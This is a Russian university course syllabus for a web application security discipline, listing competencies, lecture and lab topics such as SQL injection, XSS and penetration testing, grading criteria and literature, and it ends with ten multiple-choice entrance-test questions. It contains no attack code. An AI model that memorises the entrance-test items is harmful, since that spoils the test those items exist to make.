Министерство науки и высшего образования Российской Федерации

Федеральное государственное бюджетное образовательное учреждение высшего образования
«Сибирский государственный индустриальный университет»

Кафедра прикладных информационных технологий и программирования

УТВЕРЖДАЮ
Директор института
информационных технологий и
автоматизированных систем
_____ А.В. Зимин
подпись
«____» _____ 20___ г.

РАБОЧАЯ ПРОГРАММА ДИСЦИПЛИНЫ

Обеспечение безопасности веб-приложений

09.02.11 «Разработка и управление программным обеспечением»
(направленность (профиль): «Разработка и управление программным обеспечением»)

Квалификация выпускника
Программист

Форма обучения
Очная форма

Срок обучения: 3 года 10 месяцев

Год начала подготовки 2026

Новокузнецк
2026

СибГИУ
Подлинник электронного документа хранится в системе электронного согласования документов СибГИУ
ДОКУМЕНТ ПОДПИСАН ЭП
Сертификат: e95695aa2c5fd4a2ad858d663abfeefbdf88f7d3
Владелец: Директор ИИТиАС Зимин Алексей Валерьевич
Действителен: с 2 апреля 2026 г. по 26 июня 2027 г.
Дата и время: 25-05-2026 12:44:20 ПРОВЕРИТЬ ПОДПИСЬ

1 Цели и задачи освоения учебной дисциплины

Целями учебной дисциплины являются:

– формирование у обучающихся знаний и умений, а также получение практического навыка в области обеспечения безопасности веб-приложений, включая планирование и проведение аудита безопасности веб-приложений, идентификацию угроз, оценку рисков и выбора защитных мер, внедрение механизмов информационной безопасности.

Задачами учебной дисциплины являются:

– изучение принципов построения безопасных веб-приложений, классификации угроз и уязвимостей, стандартов безопасной разработки и криптографических методов защиты;
– формирование умений анализировать веб-приложение, проводить ручное и автоматизированное тестирование, оценивать критичность уязвимостей и реализовывать защитные меры.

2 Место учебной дисциплины в структуре ООП по специальности

Учебная дисциплина входит в состав профессионального модуля ПМ.03 «Проектирование и разработка веб-приложений» профессионального цикла ООП по специальности 09.02.11 «Разработка и управление программным обеспечением».

Учебная дисциплина базируется на предварительном усвоении обучающимися учебных дисциплин:

– Основы информационной безопасности;
– Основы алгоритмизации и программирования;
– Компьютерные сети;
– Системное программирование;
– Проектная деятельность 2;
– Проектная деятельность 3;
– Информатика.

Учебная дисциплина дополняет умения и знания, получаемые по одновременно изучаемым и последующим учебным дисциплинам:

– Проектирование и разработка веб-приложений;
– Оптимизация веб-приложений;
– Проектная деятельность 4;
– Основы применения искусственного интеллекта и нейронных сетей в профессиональной деятельности.

3 Планируемые результаты обучения по учебной дисциплине

Процесс изучения учебной дисциплины направлен на формирование следующих компетенций:

Общие компетенции

– ОК 01.: Выбирать способы решения задач профессиональной деятельности применительно к различным контекстам

– ОК 02.: Использовать современные средства поиска, анализа и интерпретации информации, и информационные технологии для выполнения задач профессиональной деятельности

– ОК 05.: Осуществлять устную и письменную коммуникацию на государственном языке Российской Федерации с учетом особенностей социального и культурного контекста

– ОК 09.: Пользоваться профессиональной документацией на государственном и иностранном языках

Профессиональные компетенции

– ПК 3.4.: Производить тестирование разработанного веб-приложения

– ПК 3.5.: Осуществлять аудит безопасности веб-приложения в соответствии с регламентом по безопасности

– ПК 3.6.: Модернизировать веб-приложения с учетом правил и норм подготовки информации для поисковых систем

Обучающийся должен быть готов к выполнению основных видов профессиональной деятельности:

– Проектирование и разработка веб-приложений.

В результате освоения учебной дисциплины обучающийся должен уметь, знать, иметь практический опыт:

Код ОК, ПК	Уметь	Знать	Иметь практический опыт
ОК 01. ОК 02. ОК 05. ОК 09. ПК 3.4. ПК 3.5. ПК 3.6.	- распознавать задачу и/или проблему в профессиональном и/или социальном контексте; анализировать задачу и/или проблему и выделять её составные части; определять этапы решения задачи; выявлять и эффективно искать информацию, необходимую для решения задачи и/или проблемы; составлять план действия;	- актуальный профессиональный и социальный контекст, в котором приходится работать и жить; основные источники информации и ресурсы для решения задач и проблем в профессиональном и/или социальном контексте; алгоритмы выполнения работ в профессиональной и смежных областях; методы работы в профессиональной и смежных сферах; структуру плана для решения задач;	- использования инструментальных средств контроля версий и баз данных, учета дефектов; - тестирования веб-приложений с точки зрения логической целостности; тестирования интеграции веб-приложения с внешними сервисами и учетными системами - обеспечения безопасной и бесперебойной

	определять необходимые ресурсы; владеть актуальными методами работы в профессиональной и смежных сферах; реализовывать составленный план; оценивать результат и последствия своих действий (самостоятельно или с помощью наставника); - определять задачи для поиска информации; определять необходимые источники информации; планировать процесс поиска; структурировать получаемую информацию; выделять наиболее значимое в перечне информации; оценивать практическую значимость результатов поиска; оформлять результаты поиска, применять средства информационных технологий для решения профессиональных задач; использовать современное программное обеспечение; использовать различные цифровые средства для решения профессиональных задач;	порядок оценки результатов решения задач профессиональной деятельности; - номенклатура информационных источников, применяемых в профессиональной деятельности; приемы структурирования информации; формат оформления результатов поиска информации, современные средства и устройства информатизации; порядок их применения и программное обеспечение в профессиональной деятельности в том числе с использованием цифровых средств; - особенности социального и культурного контекста; правила оформления документов и построения устных сообщений; - правила построения простых и сложных предложений на профессиональные темы; основные общеупотребительные глаголы (бытовая и профессиональная лексика); лексический минимум, относящийся к описанию предметов, средств и процессов профессиональной деятельности; особенности произношения;	работы; - осуществления аудита безопасности веб-приложения в соответствии с регламентом по безопасности; - идентификации потенциальных уязвимостей и рисков безопасности веб-приложения; - проведения тестирования на проникновение для проверки уровня защиты веб-приложения; анализ полученных результатов аудита и тестирования на проникновение для определения слабых мест и рекомендаций по их устранению - модернизации веб-приложений с учетом правил и норм подготовки информации для поисковых систем; - анализа и оптимизации контента веб-приложений с учетом правил и норм подготовки информации для поисковых систем; - использования современных методов и инструментов для улучшения видимости веб-приложений в поисковых

	- грамотно излагать свои мысли и оформлять документы по профессиональной тематике на государственном языке, проявлять толерантность в рабочем коллективе; - понимать общий смысл четко произнесенных высказываний на известные темы (профессиональные и бытовые), понимать тексты на базовые профессиональные темы; участвовать в диалогах на знакомые общие и профессиональные темы; строить простые высказывания о себе и о своей профессиональной деятельности; кратко обосновывать и объяснять свои действия (текущие и планируемые); писать простые связные сообщения на знакомые или интересующие профессиональные темы; - выполнять отладку и тестирование программного кода (в том числе с использованием инструментальных средств); - выполнять оптимизацию и рефакторинг	правила чтения текстов профессиональной направленности; - сетевые протоколы и основы web-технологий; - современные методики тестирования; - эргономику пользовательских интерфейсов; - основные принципы отладки и тестирования программных продуктов; - методы организации работы при проведении процедур тестирования; - возможности используемой системы; - контроль версий и вспомогательных инструментальных программных средств для обработки исходного текста программного кода; - регламент использования системы контроля версий; - предметную область проекта для составления тест-планов; - источники угроз информационной безопасности и меры по их предотвращению; - регламенты и методы разработки безопасных веб-приложений; - различные инструменты и методы для	системах; применение SEO-стратегий для повышения рейтинга и привлечения целевой аудитории.

	программного кода; - кодировать на скриптовых языках программирования; - тестировать веб-приложения с использованием тест-планов; - применять инструменты подготовки тестовых данных; - выбирать и комбинировать техники тестирования веб-приложений; - работать с системами контроля версий в соответствии с регламентом использования системы контроля версий; - выполнять проверку веб-приложения по техническому заданию; - осуществлять аудит безопасности веб приложений; - модифицировать веб-приложение с целью внедрения программного кода по обеспечению безопасности его работы; - способность проводить аудит безопасности веб-приложений, используя различные инструменты и методы, такие как сканирование уязвимостей, тестирование на проникновение и	проведения аудита безопасности веб-приложений, такие как сканеры уязвимостей (Nessus, OpenVAS), инструменты тестирования на проникновение (Metasploit, Burp Suite) и анализ кода (SonarQube); - основные уязвимости и риски безопасности веб-приложений, такие как инъекции, межсайтовый скриптинг, подделка запросов между сайтами и т.д.; - знание методов и рекомендаций по устранению уязвимостей и повышению безопасности веб-приложений на основе результатов аудита; - особенности работы систем управления сайтами; - принципы функционирования поисковых сервисов и особенности оптимизации Веб-приложений под них (SEO); - методы оптимизации Веб-приложений под социальные медиа (SMO); - основные правила и нормы подготовки информации для поисковых систем, таких как использование мета-тегов, оптимизация заголовков и описаний страниц, использование	

	анализ кода; - анализировать полученные результаты аудита и тестирования на проникновение для определения уязвимостей и рисков безопасности; - предоставлять отчеты и рекомендации по улучшению безопасности веб-приложений на основе проведенного аудита; - модифицировать код веб-приложения в соответствии с требованиями и регламентами поисковых систем. размещать текстовую и графическую информацию на страницах веб приложения; - редактировать HTML-код с использованием систем администрирования. Проверять HTML-код на соответствие отраслевым стандартам; - способность анализировать и оптимизировать контент веб-приложений с учетом требований поисковых систем; - использовать инструменты для анализа ключевых слов, анализа конкурентов и	ключевых слов и т.д.; - принципы работы поисковых систем и алгоритмов ранжирования; - современные методы и инструменты для анализа и оптимизации контента веб-приложений; - основные принципы разработки и реализации SEO-стратегий для повышения видимости веб-приложений в поисковых системах.	

	мониторинга позиций в поисковой выдаче; - разрабатывать и реализовывать SEO-стратегии для повышения видимости веб-приложений в поисковых системах.		

4 Объем и содержание учебной дисциплины

Учебная деятельность обучающихся предусматривает учебные занятия (лекция, практическое занятие, лабораторное занятие, консультация), самостоятельную работу, а также другие виды учебной деятельности, определенные учебным планом и календарным планом воспитательной работы.

Объем учебной дисциплины

Семестр / курс	***ИТОГО***	***7 семестр***	***8 семестр***
Форма промежуточной аттестации		*зачет*	*экзамен*
Трудоёмкость, *академ. час.*	***122***	*82*	*40*
Лекции, *академ. час.*	***16***	*16*	*0*
в форме практической подготовки	***0***	*0*	*0*
Лабораторные работы, *академ. час.*	***32***	*16*	*16*
в форме практической подготовки	***0***	*0*	*0*
Практические занятия, *академ. час.*	***32***	*16*	*16*
в форме практической подготовки	***0***	*0*	*0*
Курсовая работа / проект, *академ. час.*	***0***	*0*	*0*

в форме практической подготовки	***0***	*0*	*0*
Консультации, *академ. час.*	***1***	*0*	*1*
в форме практической подготовки	***0***	*0*	*0*
Самостоятельная работа, *академ. час.*	***35***	*34*	*1*
в форме практической подготовки	***0***	*0*	*0*
Контроль, *академ. час.*	***6***	*0*	*6*
в форме практической подготовки	***0***	*0*	*0*

Содержание учебной дисциплины

Раздел 1 Основы информационной безопасности веб-приложений;

Тема 1.1 Введение в безопасность веб-приложений. Модель угроз и классификация уязвимостей (Основные принципы построения безопасных веб-приложений. Триада CIA (конфиденциальность, целостность, доступность). Понятие и классификация опасностей Источники угроз информационной безопасности. Векторы атак, поверхность атаки. Злоумышленники и их мотивация. Меры по предотвращению угроз);

Тема 1.2 Регламенты и стандарты безопасной разработки веб-приложений (Регламенты и методы разработки безопасных веб-приложений: OWASP Top 10, OWASP ASVS, SDLC, DevSecOps. Процедуры ревью кода и тестирования безопасности);

Тема 1.3 Типовые уязвимости: инъекционные атаки и межсайтовый скриптинг (SQL-инъекции: механизм эксплуатации, типы (Error-based, Blind, Union-based), последствия и методы защиты. Безопасная работа с базами данных
XSS-инъекции: типы (Reflected, Stored, DOM-based), механизм атаки и защиты. Проверка корректности данных, вводимых пользователем);

Раздел 2 Технологии защиты и аудит безопасности веб-приложений;

Тема 2.1 Аутентификация, авторизация и управление привилегиями (Безопасная аутентификация и авторизация. Управление сессиями. Повышение привилегий и общая отказоустойчивость системы. Модели контроля доступа: DAC, MAC, RBAC);

Тема 2.2 Криптографические методы и безопасная передача данных (Методы шифрования (симметричные, асимметричные, хэширование). Протоколы HTTPS и SSL/TLS. Безопасная публикация изображений и файлов. Заголовки безопасности HTTP);

Тема 2.3 Инструменты и методология аудита безопасности веб-приложений (Инструменты и методы аудита безопасности: сканеры уязвимостей, инструменты пентеста. Тестирование на проникновение. Составление отчётов и разработка рекомендаций).

5 Перечень тем лекций

№ раздела / темы дисциплины	Темы лекций	Трудоемкость, *академ.час*	
		всего	**в форме практической подготовки**
Тема 1.1.	Введение в безопасность веб-приложений. Модель угроз и классификация уязвимостей	2	
Тема 1.2.	Регламенты и стандарты безопасной разработки веб-приложений	2	
Тема 1.3.	Типовые уязвимости: инъекционные атаки и межсайтовый скриптинг	4	
Тема 2.1.	Аутентификация, авторизация и управление привилегиями	2	
Тема 2.2.	Криптографические методы и безопасная передача данных	2	
Тема 2.3.	Инструменты и методология аудита безопасности веб-приложений	4	
Итого:		**16**	**0**

6 Перечень тем практических занятий (семинаров)

№ раздела / темы дисциплины	Темы практических занятий (семинаров)	Трудоемкость, *академ.час*	
		всего	**в форме практической подготовки**
Тема 1.1.	Сбор информации о веб-приложении. Анализ поверхности атаки веб-приложения: идентификация точек входа и оценка рисков	6	
Тема 1.2.	Применение стандартов и чек-листов безопасности	5	

	при анализе реального веб-приложения		
Тема 1.3.	Поиск уязвимостей к атакам SQL-инъекций и к атакам XSS методами	5	
Тема 2.1.	Тестирование защищённости и устойчивости веб-приложения	5	
Тема 2.2.	Анализ заголовков безопасности HTTP, политики CORS и CSP: выявление и документирование некорректных настроек	5	
Тема 2.3.	Анализ результатов аудита безопасности	6	
Итого:		**32**	**0**

7 Перечень тем лабораторных работ

№ раздела / темы дисциплины	**Темы лабораторных работ**	**Трудоемкость, *академ.час***	
		всего	**в форме практической подготовки**
Тема 1.1.	Настройка тестовой среды для аудита безопасности	6	
Тема 1.2.	Статический анализ кода веб-приложения	5	
Тема 1.3.	Защита от SQL-инъекций и от XSS	5	
Тема 2.1.	Настройка аутентификации и ролевой модели контроля доступа	5	
Тема 2.2.	Использование HTTPS и SSL/TLS: получение сертификата, настройка защищённого соединения, анализ конфигурации	5	
Тема 2.3.	Комплексное тестирование безопасности веб-приложения	6	
Итого:		**32**	**0**

8 Перечень тем курсовых работ (проектов)

№ раздела / темы дисциплины	**Темы курсовых работ (проектов)**	**Трудоемкость, *академ.час***	
		всего	**в форме**

			практической подготовки
	Отсутствуют		
Итого:		**0**	**0**

9 Виды самостоятельной работы

№ раздела / темы дисциплины	**Виды самостоятельной работы**	**Трудоемкость, *академ.час***	
		всего	**в форме практической подготовки**
Раздел 1.	1. Изучение лекционного материала; 2. Подготовка к лабораторной работе; 3. Подготовка к практическому занятию; 4. Прохождение тестирования.	17	
Раздел 2.	1. Изучение лекционного материала; 2. Подготовка к лабораторной работе; 3. Подготовка к практическому занятию; 4. Прохождение тестирования.	18	
	Консультации	1	
Контроль	*Подготовка к экзамену*	6	
Итого:		**42**	**0**

10 Матрица компетентностных задач по учебной дисциплине

Контролируемые разделы (темы) дисциплины	**Контролируемые компетенции**	**Оценочные средства**
Раздел 1.	ОК 01.; ОК 02.; ОК 05.; ОК 09.; ПК 3.4.; ПК 3.5.; ПК 3.6.	1. Наблюдение за работой на лабораторной работе; 2. Наблюдение за работой на практическом занятии; 3. Тестовые задания
Раздел 2.	ОК 01.; ОК 02.; ОК 05.; ОК 09.; ПК 3.4.; ПК 3.5.; ПК 3.6.	1. Наблюдение за работой на лабораторной работе; 2. Наблюдение за работой на практическом занятии; 3. Тестовые задания
Зачет.	ОК 01.; ОК 02.;	1. Зачет на основе результатов текущего контроля

	ОК 05.; ОК 09.; ПК 3.4.; ПК 3.5.; ПК 3.6.	
Экзамен.	ОК 01.; ОК 02.; ОК 05.; ОК 09.; ПК 3.4.; ПК 3.5.; ПК 3.6.	1. Вопросы к экзамену; 2. Задачи к экзамену

11 Входной контроль

11.1 Цель входного контроля − определить начальный уровень подготовленности обучающихся и выстроить индивидуальную траекторию обучения. В условиях личностно-ориентированной образовательной среды результаты входного оценивания обучающегося используются как начальные значения в индивидуальном профиле академической успешности обучающегося.

11.2 Описание оценочных средств

Форма проведения входного контроля – тестирование.

Длительность тестирования – 20 минут.

Тестирование проводится в течение первых двух недель изучения учебной дисциплины в СУО СибГИУ.

Для проведения тестирования используются тестовые задания для входного контроля.

Шкала оценивания результатов тестирования

За каждый правильный ответ выставляется 1 балл. Максимальное количество – 10 баллов. Оценка выставляется в зависимости от процента правильных ответов:

Оценка формируется в соответствии с критериями таблицы:

Процент результативности (правильных ответов)	Оценка
86 до 100	«отлично»
от 67до 85	«хорошо»
от 50 до 66	«удовлетворительно»
менее 50	«неудовлетворительно»

Основываясь на результатах тестирования, формируется индивидуальная траектория обучающегося (группы обучающихся), исходя из следующих соображений:

– 86 – 100 % – обучающийся готов к изучению учебной дисциплины без дополнительного повторения изученного ранее материала;

– 50 – 67 % – обучающийся в целом готов к изучению учебной дисциплины, требуется повторение отдельных вопросов(тем) изученного ранее материала, необходимого для успешного освоения учебной дисциплины;

– 49% и менее – обучающийся имеет слабую подготовку к изучению учебной дисциплины, необходимы корректирующие занятия и консультации.

Тестовые задания для входного контроля знаний обучающихся приведены в приложении.

12 Текущий контроль

12.1 Текущий контроль знаний используется для оперативного и регулярного управления учебной деятельностью (в том числе самостоятельной) обучающихся. Данный вид контроля стимулирует у обучающихся стремление к систематической самостоятельной работе по изучению учебной дисциплины и позволяет оценить степень освоения изученного материала.

Текущий контроль успеваемости осуществляется в течение семестра, в ходе повседневной учебной работы по индивидуальной инициативе педагогического работника, в том числе посредством использования СУО СибГИУ.

Формы проведения текущего контроля – наблюдение за работой на лабораторной работе; наблюдение за работой на практическом занятии; тестовые задания.

12.2 Описание оценочных средств

Шкалы оценивания (методики оценки)

12.2.1 Рекомендации по оцениванию результатов тестирования обучающихся

Тестирование проводится по изученным разделам (темам) учебной дисциплины для выявления уровня умений и знаний обучающегося, мотивирования обучающегося к активизации самостоятельной работы по усвоению учебного материала, выявления и устранения пробелов в знаниях, повышения дисциплины и организации учебной деятельности обучающегося.

Тестирование проводится в СУО СибГИУ в рамках часов, отведенных на самостоятельную работу обучающихся. Для тестирования используется не менее 25 вопросов из базы типовых тестовых заданий по изученным разделам (темам) учебной дисциплины. В случае выбора неправильного ответа обучающийся получает за данный вопрос 0 баллов; в случае правильного ответа – 1 балл; в заданиях на соответствие за каждый правильный ответ – 0,5 баллов.

Оценка формируется в соответствии с критериями таблицы:

Максимальный балл	Проходной балл	Оценка
100%	50%	Зачтено
49%	-	Не зачтено

12.2.2 Рекомендации по оцениванию в процессе наблюдения за работой на практическом занятии

Наблюдение за работой на практическом занятии – важнейший компонент контроля деятельности обучающихся и качества их обучения.

Критерии оценки в процессе наблюдения за работой на практическом занятии:

– самостоятельность выполнения задания и работы с методическими указаниями (учитывается работа в течение занятия, быстрота и способность нахождения в методических указаниях нужной информации);

– правильность выполнения работы (учитывается последовательность выполняемых действий, умение работать с инструментами и/или средствами вычислительной техники);

– рациональность использования времени, отведенного на задание (не одобряется затянутость выполнения работы с учетом индивидуальных особенностей обучающихся);

– активность обучающегося при выполнении практической работы (учитывается индивидуальная работа и работа в группе).

Критерии оценки по результатам наблюдения за работой на практическом занятии

Наименование параметра оценки	Максимальное количество баллов
Самостоятельно выполняет задания; умеет работать с методическими указаниями.	2,5
Указанные в методических указаниях действия выполняет в правильной последовательности; умеет работать с инструментами и/или средствами вычислительной техники.	1,25
Рационально использует время, отведенное на задание; проявляет активность при выполнении практической работы.	1,25
Итого	**5**

Максимальное количество – 5 баллов соответствует оценке «отлично», 4 балла – «хорошо», 3 балла – «удовлетворительно», 2 балла – «неудовлетворительно».

12.2.3 Рекомендации по оцениванию в процессе наблюдения за работой на лабораторном занятии

Наблюдение за работой на лабораторном занятии – важнейший компонент контроля деятельности обучающихся и качества их обучения.

Критерии оценки в процессе наблюдения за работой на лабораторном занятии:

– самостоятельность выполнения задания и работы с методическими указаниями (учитывается работа в течение занятия, быстрота и способность нахождения в методических указаниях нужной информации);

– правильность выполнения работы (учитывается последовательность выполняемых действий, умение работать с инструментами и/или средствами вычислительной техники);

– рациональность использования времени, отведенного на задание (не одобряется затянутость выполнения работы с учетом индивидуальных особенностей обучающихся);

– активность обучающегося при выполнении лабораторной работы (учитывается индивидуальная работа и работа в группе).

Критерии оценки по результатам наблюдения за работой на лабораторном занятии

Наименование параметра оценки	Максимальное количество баллов
Самостоятельно выполняет задания; умеет работать с методическими указаниями.	2,5
Указанные в методических указаниях действия выполняет в правильной последовательности; умеет работать с инструментами и/или средствами вычислительной техники.	1,25
Рационально использует время, отведенное на задание; проявляет активность при выполнении лабораторной работы.	1,25
Итого	**5**

Максимальное количество – 5 баллов соответствует оценке «отлично», 4 балла – «хорошо», 3 балла – «удовлетворительно», 2 балла – «неудовлетворительно».

Задания и вопросы для текущего контроля знаний обучающихся по разделам (темам) учебной дисциплины приведены в приложении.

13 Промежуточная аттестация

13.1 Оценочные материалы для промежуточной аттестации обучающихся по учебной дисциплине предназначены для оценки степени достижения запланированных результатов обучения по завершению изучения учебной дисциплины в установленной учебным планом форме и позволяют определить качество усвоения изученного материала.

Итоговой формой контроля сформированности компетенций у обучающихся по учебной дисциплине является: зачет; экзамен.

Оценочные материалы для промежуточной аттестации обучающихся включают: вопросы к экзамену; задачи к экзамену; зачет на основе результатов текущего контроля.

13.2 Оценивание обучающегося на зачете

Оценка	Требования к знаниям
зачтено	Оценка «зачтено» выставляется обучающемуся, если он твердо знает программный материал, грамотно и по существу излагает его, не допуская существенных неточностей в ответе на вопрос, правильно применяет теоретические положения при решении практических вопросов и задач, обладает необходимыми умениями и приемами их выполнения, а также имеет достаточно полное представление о значимости знаний по учебной дисциплине.
не зачтено	Оценка «не зачтено» выставляется обучающемуся, который не знает значительной части программного материала, неуверенно отвечает, допускает серьезные ошибки, не имеет представлений по методике выполнения практической работы. Как правило, оценка «не зачтено» ставится обучающимся, которые не могут продолжить обучение без дополнительных занятий по данной учебной дисциплине.

13.3 Оценивание обучающегося на экзамене

Оценка	Требования к знаниям
отлично	Оценка «отлично» выставляется обучающемуся, если он глубоко и прочно усвоил программный материал, исчерпывающе, последовательно, четко и логически его излагает, умеет тесно увязывать теорию с практикой, свободно справляется с задачами, вопросами и другими видами применения знаний, причем не затрудняется с ответом при видоизменении заданий, использует в ответе материал различной литературы, правильно обосновывает принятое нестандартное решение, обладает приемами выполнения практических задач по формированию компетенций.
хорошо	Оценка «хорошо» выставляется обучающемуся, если он твердо знает материал, грамотно и по существу излагает его, не допуская существенных неточностей в ответе на вопрос, правильно применяет теоретические положения при решении практических вопросов и задач, обладает необходимыми умениями и приемами их выполнения.
удовлетворительно	Оценка «удовлетворительно» выставляется обучающемуся, если он имеет знания только основного материала, но не усвоил его деталей, допускает неточности, недостаточно правильные формулировки, испытывает сложности при выполнении практических работ и затрудняется связать теорию вопроса с практикой.
неудовлетворительно	Оценка «неудовлетворительно» выставляется обучающемуся, который не знает значительной части программного материала, неуверенно отвечает, допускает серьезные ошибки, не имеет представлений по методике выполнения

Оценка	Требования к знаниям
	практической работы. Как правило, оценка «неудовлетворительно» ставится обучающимся, которые не могут продолжить обучение без дополнительных занятий по данной учебной дисциплине.

Задания и вопросы для промежуточной аттестации обучающихся приведены в приложении.

14 Учебно-методическое и информационное обеспечение учебной дисциплины

а) основная литература:

1 Диков, А. В. Клиентские технологии веб-дизайна. HTML5 и CSS3 / А. В. Диков. — 2-е изд., стер. — Санкт-Петербург : Лань, 2023. — 188 с. — ISBN 978-5-507-46740-2. – URL: https://e.lanbook.com/book/318443 (дата обращения: 05.05.2026);

2 Полуэктова, Н. Р. Разработка веб-приложений : учебник для среднего профессионального образования / Н. Р. Полуэктова. — 2-е изд. — Москва : Издательство Юрайт, 2026. — 204 с. — ISBN 978-5-534-18644-4. – URL: https://urait.ru/bcode/588469 (дата обращения: 05.05.2026);

3 Сергеев, А. Н. Создание сайтов на основе WordPress : учебное пособие для СПО / А. Н. Сергеев. — 5-е изд., стер. — Санкт-Петербург : Лань, 2025. — 120 с. — ISBN 978-5-507-51004-7. – URL: https://e.lanbook.com/book/497675 (дата обращения: 05.05.2026).

б) дополнительная литература:

1 Заяц, А. М. Проектирование и разработка WEB-приложений. Введение в frontend и backend разработку на JavaScript и node.js / А. М. Заяц, Н. П. Васильев. — 3-е изд., стер. — Санкт-Петербург : Лань, 2023. — 120 с. — ISBN 978-5-507-45423-5. – URL: https://e.lanbook.com/book/269867 (дата обращения: 05.05.2026);

2 Тузовский, А. Ф. Проектирование и разработка web-приложений : учебник для среднего профессионального образования / А. Ф. Тузовский. — Москва : Издательство Юрайт, 2025. — 219 с. — ISBN 978-5-534-16767-2. – URL: https://urait.ru/bcode/565693 (дата обращения: 05.05.2026);

в) ресурсы информационно-телекоммуникационной сети «Интернет»:

1 Электронный каталог : сайт / Научно-техническая библиотека СибГИУ. – Новокузнецк, [199 –]. – URL: http://libr.sibsiu.ru. – URL: https://libr.sibsiu.ru;

2 Электронная библиотека // Научно-техническая библиотека СибГИУ : сайт. – Новокузнецк, [200 –]. – URL: http://library.sibsiu.ru/LibrELibraryFullText.asp. – Режим доступа: для

авторизир. пользователей. – URL: https://library.sibsiu.ru/LibrELibraryFullText.asp;

3 Консультант студента : электронно-библиотечная система / ООО «КОНСУЛЬТАНТ СТУДЕНТА». – Москва, [200 –]. – URL: http://www.studentlibrary.ru. – Режим доступа: для авторизир. пользователей;

4 ЛАНЬ : электронно-библиотечная система : [Единая профессиональная база знаний издательства Лань для СПО - Издательство Лань (СПО)] / ООО «Издательство ЛАНЬ». – Санкт-Петербург, [200 –]. – URL: http://e.lanbook.com. – Режим доступа: для авторизир. пользователей;

5 Образовательная платформа ЮРАЙТ / ООО «Электронное издательство ЮРАЙТ». – Москва, [200 –]. – URL: https://urait.ru. – Режим доступа: для авторизир. пользователей;

6 Университетская библиотека онлайн : электронно-библиотечная система / ООО «Директ-Медиа». – Москва, [200 –]. – URL: https://biblioclub.ru. – Режим доступа: для авторизир. пользователей;

7 НАУЧНАЯ ЭЛЕКТРОННАЯ БИБЛИОТЕКА eLIBRARY.RU : база данных / ООО «НЭБ». – Москва, [200 –]. – URL: http://elibrary.ru. – Режим доступа: по подписке;

8 Электронные периодические издания ИВИС : универсальная база данных / ООО «ИВИС». – Москва, [200 –]. – URL: http://eivis.ru. – Режим доступа: по подписке.

г) лицензионное и свободно распространяемое программное обеспечение:

– 7-Zip;
– Adobe Acrobat Reader;
– Astra Linux Special Edition;
– Kaspersky Endpoint Security;
– Microsoft Office;
– Microsoft Windows;
– OnlyOffice;
– Р7-Офис.

д) базы данных и информационно-справочные системы:

1 ГАРАНТ : справочно-правовая система / ООО «Правовой центр «Гарант». – Кемерово, [200 –]. – Режим доступа: компьютерная сеть Сиб. гос. индустр. ун-та.;

2 КонсультантПлюс : справочно-правовая система / ООО «Информационный центр АНВИК». – Новокузнецк, [199 –]. – Режим доступа: компьютерная сеть библиотеки Сиб. гос. индустр. ун-та.;

3 Техэксперт : информационно-справочная система / ООО «Группа компаний «Кодекс». – Кемерово, [200 –]. – Режим доступа: компьютерная сеть Сиб. гос. индустр. ун-та.

15 Материально-техническое обеспечение учебной дисциплины

Материально-техническое обеспечение учебной дисциплины включает учебные аудитории для проведения занятий всех видов, предусмотренных учебным планом, в том числе групповых и индивидуальных консультаций, текущего контроля и промежуточной аттестации, а также помещения для самостоятельной работы, мастерские и лаборатории, оснащенные оборудованием, техническими средствами обучения и материалами, учитывающими требования международных стандартов, научно-техническую библиотеку СибГИУ.

Для проведения занятий лекционного типа (лекций) предусмотрена аудитория, оборудованная компьютерной техникой, экраном и мультимедийным проектором, учебной доской (ауд. 503М); Для проведения практических занятий и лабораторных работ (ауд. 401М) предусмотрена лаборатория, оснащенная оборудованием и техническими средствами обучения: рабочее место преподавателя, посадочные места обучающихся (по количеству обучающихся), компьютеры с лицензионным программным обеспечением, проектором и экраном; доской.

Помещения для самостоятельной работы обучающихся оснащены компьютерной техникой с возможностью подключения к информационно-телекоммуникационной сети «Интернет» и обеспечением доступа в электронную информационно-образовательную среду.

Рабочая программа дисциплины составлена в соответствии с требованиями ФГОС СПО по направлению подготовки (специальности) 09.02.11 «Разработка и управление программным обеспечением».

Составитель(и):

доцент Маслова Елена Владимировна (кафедра прикладных информационных технологий и программирования).

Рабочая программа дисциплины рассмотрена и утверждена на заседании кафедры.

Согласована:

Системный аналитик группы
системной архитектуры департамента
информационных технологий
ООО "СИ СОФТ"  Е.А. Шапошникова

Приложение

Тестовые задания для входного контроля знаний обучающихся

Выберите один правильный ответ.

1 Что такое информация?

А) отражение реального мира, выраженное в формальном математическом виде, определенное в специфическом кольце дискретной алгебры;

Б) осознанные сведения об окружающем мире, которые явля-ются объектом хранения, преобразования, передачи и использования;

В) знания, выраженные в сигналах, сообщениях, известиях, уведомлениях и т. д.

Г) последовательность бит.

2 В каком случае было проведено тестирование по «черному ящику»?

А) по известному программному коду был составлен потоковый граф, на его основе выделены независимые пути, которые и подверглись покрытию тестами;

Б) исходя из знаний о структуре программного кода и априор-ных знаний о назначении системы были предложены тест-кейсы;

В) основываясь на постановке задачи были выделены погра-ничные значения входных и выходных значений, по ним составлены тест-кейсы;

Г) проваленные тест-кейсы собраны в черный ящик, а успешно пройденные – в белый.

3 Какой цикл наиболее подходит для итерации по коллекции сложных объектов с целью вызова у них определенного чистого метода?

А) for

Б) while

В) do … while

Г) foreach

4 Какую операцию булевой алгебры необходимо использовать, чтобы определить что A и B не одинаковы?

А) OR

Б) AND

В) XOR

Г) NOT

5 База данных – это …

А) специальным образом организованная и хранящаяся на внешнем носителе совокупность взаимосвязанных данных о некотором объекте;

Б) произвольный набор информации;

В) совокупность программ для хранения и обработки больших массивов информации;

Г) интерфейс, поддерживающий наполнение и манипулирова-ние данными;

6 База данных – это средство для …

А) хранения, поиска и упорядочения данных;

Б) хранения данных;

В) поиска данных;

Г) сортировки и группировки данных

7 Какой язык из нижеприведенных относится к декларативным?

А) C#

Б) 1C

В) SQL

Г) Assembler

8 Что такое информационная система?

А) взаимосвязанная совокупность средств, методов и персонала, используемых для хранения, обработки и выдачи информации в интересах достижения поставленной цели;

Б) компьютерная программа;

В) компьютерная система, обеспечивающая хранение, обработку и выдачи информации;

Г) человеко-машинная система, обеспечивающая подготовку, поиск и обработку инфомрации.

9 Атрибутом сущности называется

А) свойство, которое описывает некоторую характеристику объекта;

Б) параметр объекта;

В) тип объектов, которые должны храниться в базе данных

Г) столбец в реляционной модели.

10 В чем состоит нормализация отношений баз данных?

А) привести данные к стандартизированной форме;

Б) устранить избыточность данных и тем самым избежать нарушения целостности данных при их изменении, то есть избе-жать аномалий изменения.

В) раздуть базу данных;

Г) удалить лишние сущности.

Задания и вопросы для текущего контроля знаний обучающихся по разделам (темам) учебной дисциплины

